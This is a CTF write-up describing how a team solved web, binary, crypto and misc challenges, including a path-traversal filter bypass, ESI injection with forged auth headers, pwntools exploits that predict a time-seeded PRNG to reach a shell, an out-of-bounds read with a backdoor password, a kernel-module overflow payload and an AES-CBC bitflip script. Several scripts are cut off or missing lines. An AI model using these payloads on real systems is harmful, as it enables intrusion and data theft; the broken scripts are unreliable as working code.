So we could try to use the username of the admin to obtain the correct key. Trying with the md5 of gigi yielded no results, so we tried to guess from mike1991 that we needed the birthyear of the admin.

By going back on the About Us page, it is mentioned that @tony1987 and @gigi are twins, so the year must be the same.

Then by visiting

We could obtain our verification code

Which made us reach the admin page with a verified account

Each text input field made a POST request when clicking on Update to

But that did not seem to change anything on the page or give interesting responses, whichever input we gave it.

On the other hand, the Download report button downloaded the file 22-10-orders.txt with the content

No orders yet :'(

The name of the file is specified in the POST request data


by changing the file name we were presented an error if the file was not present on the server (for example flag.txt)

Unexpected error: the file does not exist or you do not have permissions to read it: 

so we could then discover that we were in the folder reports in the home directory of the user web3.

We then tried to see if we had access to path traversal, but using a filename such as ../flag.txt; we saw that the ../ were escaped/filtered in the response.

By applying a simple anti-filtering technique we could have access to path traversal with ....//

With the payload

"report": "....//flag.txt"

the output was finally

Unexpected error: the file does not exist or you do not have permissions to read it: 

But we still had no access to the file or it was not present on the server.

We then tried all common files present on a linux home folder, and we discovered the presence of the .bash_history file.

As a response we got

and in particular we discovered the presence of /home/web3/scripts/

And with the final payload

"report": "....//scripts/"

we got the response python /bin/webapp/ -f {FLG:Le4ve_my_S0cks_4l0ne}

Web 400

We’re presented with a simple website with a news tab containg some informations regarding a possible Edge-Side-Includes implementation inside the server.

Further investigating the functionalities of the webpage we find a contact page that renders an ESI payload inside the contact request body. Sending as payload <esi:include src=""> gives us <esi:error hidden="">Hostname or port not in whitelist. Hosts allowed: ['']; Ports allowed: [5000].</esi:error> as rendered body. So we start digging inside this internal network endpoint, and we could easily find some useful informations inside the robots.txt file:

User-agent: *
Disallow: /graphql
Disallow: /test

Inside /test we could see a message:

This is a test page I made to check if the Authorization header has been correctly added to the requests coming from the ESI server.

If you see your username below, then this request was correctly authenticated and your ESI server can successfully communicate with this machine and its services (e.g., graphql).

Username: esi-user

To other developers on the team: recall that we also have an ESI tag that can access values of specific request headers (esi:header).

Trough this endpoint we could see that using <esi:header name="Authorization"> we would get as a response our Authorization header that we added to the outside request. We also found out that if we didn’t send any Auth header a default one would be added: ZXNpLXVzZXI=:MTY2NTQ4MDYzMQ== which decoded is esi-user:1665480631. With the password being souspiciously similar to a timestamp.

Next we started quering the graphql endpoint, trough simple requests we could get the objects declared in the environment:


After that we inspected the Flagresult object:


So we started querying for this object but we couldn’t get the flag and printing the errors attribute we get:

{"data":{"flag":{"errors":["Only user 'admin' can perform this operation."]}}} 

So we need to login as admin to get this flag. Upon searching a little deeper in to the graphql environment we find that a type User includes a last login timestamp. So we tried getting the flag using the admin last login timestamp as a password.

We added the Authorization header: Authorization: YWRtaW4=:MTY2NTY0OTUxMQ==

And we could successfully get the flag trough the simple graphql query:

<esi:include src="{flag{flag}}">



Binary (4/5)

Binary 100

This was a reverse challenge. The provided file is a 64-bit ELF that asks to find the right word (and prints Wesley the cat). Trying to insert a random word, the binary returns an error on the word length and terminates. Using ghidra and IDA to decompile the binary, it is evident from the main how the required length is 24. Trying to insert a 24 length word, the returned error changes. Now we have to understand which word the binary expects to receive. From the decompiled code we can see 24 different checks on each character of the input. Each of them considers the chars as numbers (double) and performs some mathematical operations. At the end, we just need to solve an algebraic system and then convert the results into printable characters. We wrote a z3 script to do it.

buf_d = [z3.Real(f"{i:02}") for i in range(24)]

solver = z3.Solver()

solver.add (buf_d[15] == 91.0)
solver.add (buf_d[18] == 91.0) 
solver.add (buf_d[0] + buf_d[0] + 11.0 == buf_d[0] + 130.0) 
solver.add (buf_d[23] + buf_d[23] + 6.0 == buf_d[23] + 127.0) 
solver.add (buf_d[1] * 7.0 == buf_d[1] + 396.0) 
solver.add (buf_d[22] == 104.0) 
solver.add ((buf_d[2] + 2.0) * 3.0 - 2.0 == (buf_d[2] - 17.0) * 4.0) 
solver.add (buf_d[21] == (buf_d[21] + buf_d[21]) - 44.0) 
solver.add (buf_d[3] == 67.0) 
solver.add ((buf_d[20] * 3.0 - 2.0) * 3.0 - (buf_d[20] * 5.0 + 2.0) * 4.0 ==buf_d[20] * -8.0 - 146.0) 
solver.add ((buf_d[4] * 5.0 - 2.0) * 5.0 - (buf_d[4] + buf_d[4] + 7.0) * 6.0 ==buf_d[4] * 33.0 - 1132.0) 
solver.add (buf_d[19] == (buf_d[3] + buf_d[20]) - 16.0) 
solver.add ((buf_d[5] + buf_d[5]) / 3.0 == (buf_d[5] + 44.0) / 3.0) 
solver.add (buf_d[17] == 49.0) 
solver.add ((buf_d[6] * 8.0 + 15.0) * 0.1666666666666667 ==(buf_d[6] + buf_d[6] + 81.0) * 0.5) 
solver.add (0.0 - buf_d[16] / 5.0 == 36.0 - buf_d[16]) 
solver.add ((buf_d[7] * 7.0) / 2.0 == buf_d[7] * 3.0 + 23.5) 
solver.add (buf_d[14] == buf_d[14] / 2.0 + 48.0) 
solver.add (buf_d[8] == 110.0) 
solver.add (buf_d[13] == buf_d[14] / 2.0 - 1.0) 
solver.add (buf_d[9] == 104.0) 
solver.add ((buf_d[12] == buf_d[11]) , (buf_d[11] == 108.0)) 
solver.add (buf_d[10] == 48.0) 

assert solver.check() == z3.sat
m = solver.model()

word = ''
for el in buf_d:
    evaluation = m.evaluate(el)
    value = round(float(evaluation.as_fraction()))
    word += chr(value)
print('The word is:', word)

Our script returned the string wBHC6,r/nh0ll/`[-1[_,,hy that actually is accepted by the binary that returns the message Word found! But it's not the flag. Awww :3. Now we have to undestand where the right flag is. From the decompiled, we can see how, after the checks, the strings are used and altered in some way. Unfortunately, neither ghidra and IDA decompile this part in an acceptable way. We decided to try a dynamic approach. Since the binary calls a ptrace, it is needed to patch the code and avoid the tracing before running the challenge with gdb. Performed this step, it is pretty easy to see how each character of the word is incremented by 4. Hence, the final string is the actual flag.

flag = ''
for l in word:
    flag += chr(ord(l)+4)

print('The flag is:', flag)


Binary 200

A Docker container with the challenge is provided. The binary is a Linux 64-bit ELF. We openend it in IDA to reverse engineer it. When started, the service asks for a password. From IDA, we can recover it. strcmp(s1, "secret_passwd_anti_bad_guys") Succesively, he random seed is init to time(0), and two function are invoked.
From this moment on, for the sake of the writeup, we consider the binary loaded at address 0x0. The first one, sub_13E7, prints some introduction messages, and call the function sub_12F2. There we discover the existence of sub_1245(int n). It generates a random string of n characters. Each character is generated by taking a random character from the string abcdefghijklmopqrstuvwxyz. It’s done by generating a random index with libc’s rand() function. We notice sub_12F2 is invoked 11 times, each time with length 5 as paramater.

The succesively invoked function is the main loop of a game. You insert the string corresponding to a move, and the corresponding function is called. The Help move shows the available moves.

    "Help     print help menu"
    "Exit     close the connection"
    "Jump     move to the next plant"
    "GetName  get planet name"
    "Rename   rename planet"
    "Check    check if you can overflow the stack"
    "GoBack   move to the previous planet"
    "Search   looking for Zer0"
    "Nap      Get a nap"
    "Admin    Access as Admin"

The most interesting move is Admin. From the array of function pointers at 0x19CE, we open sub_17D3, that is the one associated to Admin. It asks for a secret password of 30 characters ,randomly generated by sub_1245. If it’s correct, sub_1886 is invoked, asking for a command (up to 8 characters) to pass to system primitive.

We know that, in program initialization, random seed is intitialized to time(0) and rand function is invoked 11 * 5 times before the password is generated. So the attack plan is

  • Open libc in exploit with CDLL python’s library
  • Open the connection to the service
  • Immediately call in the exploit libc.srand to set random seed to libc.time(0). This allows to have locally the same seed used remotely
  • Generate 5 * 11 random values, to bring the PRNG state to the same one before passowrd generation
  • Generate the 30 characters secret password
  • Use the Admin move
  • Send the generated password
  • Call the /bin/sh command
  • Get the flag!

Final exploit

from pwn import *
from ctypes import *

# PWN 200

CHARS = b"abcdefghijklmnopqrstuvwxyz"

def get_password(n):
    password = b""
    for i in range(n):
        password += CHARS[libc.rand() % 26].to_bytes(1, "little")
    return password

# TLDR: Seed can be guessed very easily given that it is initialize with time(0)

# c = process("./challs")
c = remote("", 2692)
libc = CDLL("")

c.recvuntil(b"Passwd: ")

for i in range(5 * 11):

password = get_password(30)



Binary 300

A Docker container is provided with this challenge. Looking at Dockerfile and files, the service bin/challenge is exposed on the network when the container is started.

So, after understanding that challenge is a Linux ELF 64-bit binary, we opened it in IDA to reverse engineer it.

When the main function is called, the service asks for a password (easily recoverable from the check_passwordfunction, and it’s ae86b59869f0806b5f53b_be20c200469a9a0ebfdbbe4__). We are now asked for an input. With input 8, we are able to print a menu of functions.

1. Create secret
2. Delete secret
3. Show secret
4. List secrets
5. Change codes
6. Change password
7. Show codes
8. Help
9. Exit

From this moment on, for the sake of the writeup, we consider the binary’s base address 0x0

Some global variables discovered during the analysis, and that will be used further in this writeup are:

  • aTmpSecret1: the address of the first element of an array of strings, from this moment on called secretsPath; it’s located at 0xC010
  • code1 and code2, two 32-bit integers located respectively at 0xC040 and 0xC048

A recurrent function that is called during the execution is get_secret_dir. It asks for a secret number num, such that 0 < num <= 3 (out of this range, num is set to 1). Then, it returns the pointer to the num - 1-th element of secretPath array.

  1. Create secret:
    First of all, the function get_secret_dir is called. Than user is prompted for a password and a message. At the end, it creates the secret on the filename returned by get_secret_dir. The content written on the file can be retrieved from this function invocation. fprintf(stream, "%s%s%p%p\n", password, message, (const void *)code1, (const void *)code2); \

  2. Delete secret:
    Through get_secret_dir retrieves the number of the secret to delete, and delete the corresponding file using unlink(filename)

  3. Show secret:
    It asks for a preuth key
    • If it’s provided 0x13371337, it asks for a secret number following the same assignment logic of get_secret_dir function
    • If it’s provided 0xdeadbeef, the secret number is set to 1.

    Than, it tries to open the corresponding secret file, asks for the password, and if it’s correct, it prints the content of the chosen secret.

  4. List secrets:
    This option checks for the existence of each file in the secretPath array, and prints out the filename of existing files.

  5. Change codes:
    Allows you to change the content of code1 and code2 variables, and to call Show secret function, if answer to question prompt is y. You are allowed to change code1 and code2 only by providing 0x13371337 pre-auth key; it’s prompted only if you negatively answer to also call Show Secrets

  6. Change password:
    Not available option, since it just prints #TODO

  7. Show codes:
    printf("code1:%p code2:%p\n", (const void *)code1, (const void *)code2);
    it just prints in hexadecimal format the content of code1 and code2 global variables.

While deepely reverse engineering each function, we found some interesting facts:

  • in show_secrets function, when checking the file password, function sub_19D9(input_password, file_password) is called. It returns True either if it’s entered the corret password of the file, or the backdoor password Wild BackD00r appeared!
  • in show_secrets function, the secret number validation is broken;
    if ( num > 0 && num <= 4 && (--num, filename = &aTmpSecret1[16 * num], (stream = fopen(filename, "r")) != 0LL)
    previously allowed values for secret number were 1,2,3, while here also 4 is accepted. Moreover, the filename that will be opened is &aTmpSecret1[16 * num]. Since &aTmpSecret1 is 0xC010, with num == 4 we access to 0xc040, that is the address of code1. We have control of it!

So, to get the flag, the attack plan is:

  • Call Change code function, and set code1 and code2 to some numbers that, as string, will be interpreted as flag file path (from Dockerfile, binary is launched from /home/ctf directoty, and from there relative path to the flag is home/flag.txt). To do this, we set code1 to 7020098272914927464, and code2 to 500237086311. In fact, ```python from pwn import *

In [4]: p64(7020098272914927464) Out[4]: b’home/fla’

In [5]: p64(500237086311) Out[5]: b’g.txt\x00\x00\x00’

- Call `Show Secrets` with preauthkey 0 and any password. This is needed to set the variable holding the `preauthkey` to 0, so that each primitive is invoked with `preauthkey` 0 (different to `0xdeadbeef` or `0x13371337`).

- Call`Change Codes`, allowing to successively call `Show Secrets`. 
    - `Change Codes` will be called with `preauthkey` 0, that was set by the previous call to `Show Secrets`
    - The input codes will be `code1 = b"A" * 31` and `code2 = b"B" * 28 + b"\x04\x00\x00"`. This allows to dirt the stack frame of the successive call to `Show Secrets`. In particular, the input for `code2` allows to have secret number 4 when calling `Show Secrets`. Pay attention that codes won't be changed, since `preauthkey` is not 0x13371337, leaving `home/flag.txt` as content of `code1` and `code2`
    - when `Show Secrets` is invoked, no secret number is asked, since `preauthkey` is set to 0, and the value will be `4`. The provided password is the backdoor one.

The last invocation to `Show Secrets` openend the file flag.txt, the check for password was bypassed with backdoor password, and we got the flag!
Final exploit:
import string
from pwn import *

def create_secret(secret, password, msg):
    c.recvuntil(b'Insert secret (0 < index < 4):')
    c.recvuntil(b'Insert password:')
    c.recvuntil(b"Insert msg:")
    c.recvuntil(b"Secret created")

def delete_secret(secret):
    c.recvuntil(b'Insert secret (0 < index < 4):')
    c.recvuntil(b'Secret deleted')

def show_secret(preauthkey, password, secret = None):
    c.recvuntil(b'Insert pre-auth key')
    c.recvuntil(b"Invalid index\n")

def list_secret():
    c.recvuntil(b"List of secrets:")
    leak = c.recvuntil(b'Done list of secrets')
    return leak

def change_codes(code1, code2, access, preauthkey = None, secret = None, password = None):
    c.recvuntil(b"Do you want to call 'Show secret' function also")
    if access == b'n':
        c.recvuntil(b'Insert pre-auth key')
    c.recvuntil(b'Insert code 1')
    c.recvuntil(b'Insert code 2')
    if access == b'y':
        if preauthkey == 0x13371337:
            assert secret is not None
        c.recvuntil(b'Insert pre-auth key')
        if preauthkey == 0x13371337:
            c.recvuntil(b'Insert secret (0 < index < 4)')
        c.recvuntil(b'Insert password')
        leak = c.recvuntil(b"Done")
        return leak

def change_codes_final(code1, code2, password):
    c.recvuntil(b"Do you want to call 'Show secret' function also")
    c.recvuntil(b'Insert code 1')
    c.recvuntil(b'Insert code 2')
    c.recvuntil(b'Insert password')
    leak = c.recvuntil(b"Done")
    return leak

def show_code():
    leak = c.recvline()
    return leak

c = remote("", 3527)

change_codes(b"7020098272914927464".ljust(31, b"\x00"), b"500237086311".ljust(31, b"\x00"), b'n')
show_secret(b"0", b"not_important")
leak = change_codes_final(b"A" * 31, b"B" * 28 + b"\x04\x00\x00", b"Wild BackD00r appeared!\x00")



Binary 400

This challenge provides a 64-bit ELF, a kernel module, and a bash script to start a qemu instance. The bash script also contains some comments with a link to a Ubuntu ISO and the kernel version to use. No qcow2 image was given.

We spent a bit to set up the right environment. In detail, we:

  • downloaded the linked Ubuntu ISO image;
  • run qemu with the bash script adding the -s option to allow an easy gdb attach;
  • created the user user as required by the challenge binaries;
  • inserted and loaded the kernel module and granted the right permission to the created device;
  • started pwnme (it spawns a socket to which we can connect to interact with the actual challenge).

We reversed both the ELF and the kernel module using ghidra and IDA.

At the very beginning, the challenge asks to verify our identity. If a random answer is provided, the challenge does not allow to go further. Analyzing the function that verifies the identity, it is easy to see how our input is compared with a hardcoded string. Taking into account the endianness, the right identity is hence _g3nn4r0_f3r10p3z_. Now, we have four different actions that the challenge allows to perform:

  1. discover dimensions: prints some portal ids;
  2. dimension info: prints some information associated with a specific dimension. One of this information is called flg (is it the flag slot?). It requires to first select the dimension using the option 3;
  3. select dimension: allows to select a specific dimension. If the provided dimension id is lower than 1, it is put equal to one;
  4. write message: allows us to write something and prints a message from the portal. This portal message is randomly chosen from a set of hardcoded strings. It requires to first select the dimension using the option 3;

To easily interact with the challenge, we wrote some primitives in python using the pwntools like the following ones.

def check_identity():
    io.recvuntil(b'#> ')

def discover_dimensions():
    io.recvuntil(b"[>] yOUR cHOICE:")
    leak = io.recvline()
    return leak

def get_dimension_info():
    io.recvuntil(b"[>] yOUR cHOICE:")
    selected = io.recvline()
    leak = io.recvline()
    return selected, leak

def select_dimension(dimension):
    io.recvuntil(b"[>] yOUR cHOICE:")
    io.recvuntil(b'yOUR sELECTION: ')

def send_message(payload):
    io.recvuntil(b"[>] yOUR cHOICE:")
    io.recvuntil(b'wRITE yOUR mESSAGE:')
    io.recvuntil(b'mESSAGE fROM tHE dIMENSION')
    leak = io.recvline()
    return leak

Reading the decompiled code, we noticed a 8-bytes overflow in the send message option. In brief, the code reads 0x400 bytes in a 0x3f8 long buffer. In this way, we can overwrite some information like the id and some other values that we did not know how to use at this point. Now we should understand better how the module works. The get dimension info function (that should print the flag) calls the greentooth_ioctl, so we first focused our attention on how the passed parameters are used by it. We analyzed the code behaviour both statically and dynamically. The first two dimensions (id1 and id2) are different w.r.t. the other ones and contain some info that are set to zero for the other ids. Indeed, in the kernel module code, there is some hard coded data. More interesting, the id 1 dimension data contains the string {FLG:7h15_15_7h3_f14g} in the position where there should be the flg info. Now we know where the flag is but we need to understand why it is not printed when we call the print dimension info option with id 1. We reversed the simple_a2mp_getinfo_req function of the kernel module and noticed how the information retrieved was different according to the sign of a specific parameter. If this parameter is positive, simple_a2mp_produce_getinfo_rsp is called and the flag is not returned. The parameter value depends on the arguments passed to ioctl by pwnme. It is not directly controlled by the user but is stored in memory in the byte after the dimension id, in the range of the overflow described above. Actually, the first overflowed byte is the id and the second one is the simple_a2mp_produce_getinfo_rsp activation parameter. Hence, the final attack pipeline is the following one:

  1. select the dimension to access to all the options (send message and get dimension info);
  2. send a message that overflows the parameters passed to ioctl. The id byte is overflowed with 1 (the dimension with the flag), while the following one with 0x80 (-1);
  3. call the get dimension info option.
    payload = b'A'*0x3F8 + b'\x01' + struct.pack('<B', 0x80)

    The result is:

    b' sELECTED: 8001\n', b'{"code":"A2MP_GETINFO_RSP", "id": "1", "status: 0x1", "total_bw: 0", "max_bw: 0", "min_latency: 0", "pal_cap: 0", "assoc_size: 0", "flg: {FLG:~wh04_inf0134k_ch4mpi0n~}"}\n'

Crypto (3/5)

Crypto 100

We were given a pdf file containing an image of a lair of some sort and 3 QR codes. First thing to do is obviously read the QR’s, which gave us three 32-bytes strings, but then we needed to know what to do with them. At the beginning of the challenge we didn’t know what a NFT was, so… we tried to guess some operation on these strings, but nothing made sense. After too much useless guesses I started googleing the challenge title and discovered what we had been given. On the site we found three transactions with the IDs we had previously found, and finally each of them led us to an image of a Rune. It was nothing like Tolkien elvish nor Viking runes, it was probably autogenerated with AI, so we started checking the image files with binwalk or exiftool with no results. At last we guessed that they had nothing to do with the challenge and took a better look at the transactions’ parties. The sender did another transaction just before the others, so we searched in it. We used CyberChef to decode the contract, which looked exactly like the others. Fortunately, serching all of the strings, we found the flag at the end!

Crypto 200

The challenge gives us the parameters of a GET request encrypted with AES-CBC and wants us to forge a new one with a different username. The last block is just padding so we can do a bitflip attack xoring the previous block with the result of xor(b"\x10"*16, f"&user={username}".encode().ljust(16, b"\x00")) After trying every possible username we could come up with, we gave another look at note.txt, which had an interesting message:

# challenge title
Don't forget the best bits

# examples
Cleartext: message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario


We unquoted the cleartext just to make it more readable:

>>> from urllib.parse import unquote

>>> unquote('message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario')
"message=For a fullfilling experience embrace listen to new music. Pay attention to details, titles are important. And remember, music it's flipping amazing&user=mario"


This clearly meant that the challenge title was somehow going to tell us the username, and it must be something related to music. We searched “don’t forget the best bits” on Google and one of the first results was the lyrics to a song by Franz Ferdinand: The title of the song was “Billy Goodbye”. We were desperate, so we tried “billy” as the username, and unexpectedly we got the flag.

Final script:

import requests as r
from urllib.parse import quote
from Crypto.Util.Padding import pad

def xor(a, b, c):
    return bytes([x ^ y ^ z for x, y, z in zip(a, b, c)])

ctx = bytes.fromhex("482c74deadaee362185c315aa10bcd02c96d2417fe3d1adf7fd90da2da95ca16ff9bb7b20b1ed3ac22c93bd3ac7f8d790768379407181f93bbc2c5bde5da5a4e47b400ed0827d815c47b4793349d894a557dd4436a7e2d7967b09faeff6b7037e5ba40202e850c0640414ffd651847bff2fe50ac248ac63cd595339b6fa9ee78f2835d29176d524ab9116894eab6ad5fd56c6600670d1f5bc4e48dfdaed740d1e3b3f1c05a067fbeb69e0a67226755569f185120d5b393131ecd3c209123994135a62d029cc5072264cd6ca306a7d1fc8a63ae9b9675ecace48745f049d5d742639e2df80675ad114938eb641a8b1704")
(ctx, to_edit, last_block) = (ctx[:-32], ctx[-32: -16], ctx[-16:])
ptx = pad(quote(b"").encode('unicode_escape'), 16, style='pkcs7')
user = "billy"
target = pad(f"&user={user}".encode(), 16, style='pkcs7')
to_edit = xor(to_edit, ptx, target)
ctx = ctx + to_edit + last_block
assert len(ctx) == 240
res ="", data={"ciphertext": ctx.hex()})

Crypto 300

The challenge gives us an unspecified 5MB file.

file tells us nothing. We opened the file with a hex editor, and noticed that there were several repeated sequences of bytes like '\xaa\xbb\xcc\xdd. Since this is a Reply crypto challenge with no source code, we guessed this was probably a repeated XOR. We quickly decoded the actual file:

def xor(x, y):
    return bytes([a^b for a, b in zip(x, y)])
with open('challenge') as f:
    s =
with open('challenge2', 'wb') as f:
    f.write(xor(s, b'\xaa\xbb\xcc\xdd'*10**7))

We got what looked to be a disk image, so we mounted it and we saw a few of files. One of these files was hint.txt, which contained the following text:

The key to open the zip file is a compound word.
The first word is found within the sqlite file, the second is the maiden name of the lady in the picture.

So we had to somehow decode the picture and read the contents of the sqlite file in order to decrypt the archive.

Another file in the archive is a pickle object (dict.pkl). Opening it in a Python REPL shows that the content is a single dictionary, with a bijective mapping from 0-255 to 0-255. Since this is a Reply crypto challenge with no source code, we guessed this is probably used for a byte-to-byte substitution cipher.

The picture mentioned by the hint is a noisy grayscale BMP image. Grayscale is represented well with a single byte per pixel, so we guessed this was encrypted with the pickle dictionary. We recovered the image with Pillow:

from PIL import Image
im ='portrait.bmp')
with open('dict.pkl', 'rb') as f:
    sub = pickle.load(f)
for x in sub:
    rev[sub[x]] = x
new = bytes([rev[i] for i in im.tobytes()])
newimage = Image.frombytes('L', im.size, new)

We got to this image: Which, with a quick Reverse Image Search, we found out to be Ozzy Osbourne’s mother, Lillian Unitt.

To read the sqlite database, we just installed sqlite, opened it with sqlite3 mywonderfulwebapp, read the schema with .schema, read the contents with SELECT * FROM users;.

So the contents of the sqlite file are:


Since we had a lot of combinations to try, we wrote a script that would try all of them:

#!/usr/bin/env python3

import pyzipper

words = [

delimiters = ['', ' ', '-', '_', '.', ',']

for w in words:
    for d in delimiters:
            with pyzipper.AESZipFile('') as f:
                f.pwd = w.encode() + d.encode() + b'unitt'
                # print(f.infolist())
        except RuntimeError as e:
            # print(e)

But no combination we tried would successfully decrypt the zip file. Since this is a Reply crypto challenge with no source code, we tried reversing the password hashes we found in the sqlite file on CrackStation, and we hit a match on one.

sha256('alessio') = "8d0cfd6182ef851052565eb5c11e79f73c691307f7b6ddb877b4303cc726f260"

So we tried “alessiounitt” as the zip password and it worked. Inside we saw two files: ciphertext.txt:


and an RSA public key.

Reading the keys, the first thing we noticed was that e was big, this means that d might be small. So we tried to break the key with the Boneh-Durfee attack:

RsaCtfTool --publickey --dumpkey --private --attack boneh_durfee

and it worked!

d: 5752477793961718316974364565722959866214021715252358015981092755839491056537
p: 20659222008512759831277682223795162680334385991854286283853960400286241695014333963737657226297951042993329540999035446587802842157029340511729302434748273
q: 38676882448094023590775144095087527526209199110085295247166619083834674380076580348153808072855754145097868212826481975496548251654863618859218700354289311

And we easily got the flag with:

RsaCtfTool --publickey --uncipherfile enc --attack boneh_durfee

Misc (4/5)

Misc 100

The challenge comes with a disk image file and a password for some reason.

The mounted disk image is empty.

Since this is a misc challenge, I ran strings on it. strings returns gibberish and some interesting trash info:

[Trash Info]
[Trash Info]

Since this is a misc challenge, I ran binwalk on it. binwalk sucks and returned nothing useful.

Knowing that I’m probably looking for a zip file (I need to use that password somehow), I just opened the image file in an hex editor and looked for PK, the magic bytes for zip files. I found a small sequence of bytes that looked like a valid file.

I copied and pasted that sequence to a new file, and opened our brand new zip archive with the password in the description. The extracted file is a text file with the flag.

Misc 200

The challenge description gives a host and an UDP port.

Sending some requests and doing some tests show that:

  • The service is an echo server: text sent to it is sent back in multiple datagrams, one per text character.
  • The echo back is capped to 108 characters.
  • Multiple requests start separate sequences of 108 datagrams.

Since this is a misc challenge, I looked at the challenge description for guessing inspiration. The title says “hIP hIP”, so it’s probably related to the IP header.

Using Wireshark, I found out that the IP Identification field in the echo datagrams is always set to one of 0x3fff, 0x7fff, 0xbfff, 0xffff, when it’s supposed to be random. I can tell that only the first 2 bits change, so it’s probably exfiltrating some data 2 bits at a time. 2 bits * 108 datagrams = 216 bits = 27 bytes for the flag probably.

I dumped 108 Identification fields from Wireshark to a text field, filtered out the first two bits in Python, and finally copy-pasted the result in a binary to text converter to get the flag.

Misc 300

REPLINO GAME screenshot

The challenge is a game similar to Chrome’s dino game, where there are obstacles that you have to jump over or slide under.

It’s a simple HTML5 game, communicating to the server viaSocket.IO.

We can see that within the main.js file:

const socket = io({path:"/b7f91f2e6e12123b14fdfa9187ea53af00f281ac/"});

We then search where the game could send data to the server, as the flag was not in the client.

We found the following code that emit an event to the socket:

socket.emit("action", {
    px: action.x,
    ox: action.ox,
    speed: this.speed,
    seed: seed,
    step: this.step,
    type: action.type

This corresponds to the traffic intercepted with Burp Suite (or inside the “Network” tab in the Devtools):


The server replies with:


Uhm, actionresponse is never mentioned in the code, so the game never processes it. Let’s try playing some more.

After playing a little bit, we noticed that sometimes the server replied with actionresponse: 0 and actionresponse: 1.

We guessed that a bit may have been transmitted with each command.

Let’s write a simple script that allow us to send commands without playing the game:

#!/usr/bin/env python3

import socketio

sio = socketio.Client()

aaa = ""

def catch_all(event, data):
    global aaa
    aaa += data

def connect():
    print("I'm connected!")

def disconnect():
    print("I'm disconnected!")


print("my sid is", sio.sid)

flag = ""

for x in range(1000):
            "px": 18.76000000000007,
            "ox": 138.82000000000716,
            "speed": 5.6499999999999435,
            "seed": 0.6468621828291544,
            "step": x,
            "type": "J",

Now we can obtain strings that looked like these:



We noticed that the numbers matched between the strings and they stopped appearing after a while, so this could be our flag.

How does a flag start? With {FLG:, which converted to binary is 0111101101000110010011000100011100111010

Some bits match! Looking good so far.

After that, we tried to bruteforce it, generating random speed values until we found a valid bit:

#!/usr/bin/env python3

import random
import socketio

sio = socketio.Client()

def connect():
    print("I'm connected!")

def disconnect():
    print("I'm disconnected!")

def on_message(data):
    global bit
    bit = data


flag = ""
bit = "A"

for x in range(224):
    while bit == "A":
                "px": 18.76000000000007,
                "ox": 138.82000000000716,
                "speed": random.random() * 10,
                "seed": random.random() * 2 * 3.14,
                "step": x,
                "type": random.choice(["J", "C"]),

    flag += bit
    bit = "A"

After waiting for it to complete, we got the following binary string:


And after converting it, we got the flag:


Misc 500

We were provided with an APK, so the first thing we did was to install it on a phone or emulator, just to try it out.

We can see that two levels are locked. Let’s play first level.

Uh oh, the level seems broken. Let’s open JaDX to find out where the error is.

First, we open AndroidManifest.xml to see where the launcher activity is.

    <activity android:name="com.example.misc500adventure.A" android:exported="false"/>
    <activity android:name="com.example.misc500adventure.C" android:exported="false"/>
    <activity android:name="com.example.misc500adventure.D" android:exported="false"/>
    <activity android:name="com.example.misc500adventure.E" android:exported="false"/>
    <activity android:name="com.example.misc500adventure.F" android:exported="true">
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>

We can see that com.example.misc500adventure.F is the launcher activity. There are two buttons, one opens the level selection screen and the other the about screen.


public final void onCreate(Bundle bundle) {
    this.f1859o = (Button) findViewById(;
    this.f1860p = (Button) findViewById(;
    this.f1861q = (Button) findViewById(;
    try {
        t(); // <--
    } catch (IOException e2) {
    try {
        s(); // <--
    } catch (IOException | NoSuchAlgorithmException e3) {

t() and s() seem important. Let’s check them.

public final void t() {
    InputStream openRawResource = getResources().openRawResource(R.raw.level01);
    try {
        FileOutputStream fileOutputStream = new FileOutputStream(getDir("LevelDir", 0).getAbsolutePath() + "/Level01.jar");
        byte[] bArr = new byte[1024];
        while (true) {
            int read =;
            if (read <= 0) {
            fileOutputStream.write(bArr, 0, read);
        openRawResource = getResources().openRawResource(R.raw.liblevel01);
        try {
            FileOutputStream fileOutputStream2 = new FileOutputStream(getDir("LevelSO", 0).getAbsolutePath() + "/");
            byte[] bArr2 = new byte[1024];
            while (true) {
                int read2 =;
                if (read2 <= 0) {
                fileOutputStream2.write(bArr2, 0, read2);
        } finally {
    } finally {

This code simply copies the resources under res/raw/level01.jar to /data/data/com.example.misc500adventure/app_LevelDir/Level01.jar and res/raw/ to /data/data/com.example.misc500adventure/app_LevelSO/

public final void s() {
    Button button;
    String str;
    getApplicationContext().getSharedPreferences("LevelCompleted", 0);
    MessageDigest messageDigest = MessageDigest.getInstance("MD5");
    for (int i2 = 1; i2 <= 3; i2++) {
        File[] listFiles = new File(getDir("LevelDir", 0).getAbsolutePath()).listFiles(new a(i2));
        if (listFiles.length > 0 && listFiles[0].exists()) {
            if (i2 == 1) {
                button = this.f1859o;
                str = "Play Level 1";
            } else if (i2 == 2) {
                FileInputStream fileInputStream = new FileInputStream(listFiles[0]);
                byte[] bArr = new byte[1024];
                while (true) {
                    int read =;
                    if (read == -1) {
                    messageDigest.update(bArr, 0, read);
                byte[] digest = messageDigest.digest();
                StringBuilder sb = new StringBuilder();
                for (byte b3 : digest) {
                    sb.append(Integer.toString((b3 & 255) + 256, 16).substring(1));
                if (sb.toString().equals("6b68c21e6979ccb643bb1490584a148e")) {
                    button = this.f1860p;
                    str = "Play Level 2";
                } else {
                    button = this.f1860p;
                    str = "Checksum Verification Failed";
            } else if (i2 == 3) {
                button = this.f1861q;
                str = "Play Level 3";

public class a implements FilenameFilter {

    /* renamed from: a  reason: collision with root package name */
    public final /* synthetic */ int f1862a;

    public a(int i2) {
        this.f1862a = i2;

    @Override //
    public final boolean accept(File file, String str) {
        StringBuilder g2 = androidx.activity.result.a.g("Level0");
        return str.startsWith(g2.toString());

This piece of code lists the files under /data/data/com.example.misc500adventure/app_LevelDir/. Then, it iterates from 1 to 3 and filters the files by new a(i2). Basically, if a file that starts with Level0 + i exists, it will enable the button.

So we need to rename /data/data/com.example.misc500adventure/app_LevelDir/Level01.jar to /data/data/com.example.misc500adventure/app_LevelDir/Level01.apk (using root

Still inside com.example.misc500adventure.D we can find the onClick method:

public void onClick(View view) {
    Intent intent;
    String str;
    switch (view.getId()) {
        case /* 2131230822 */:
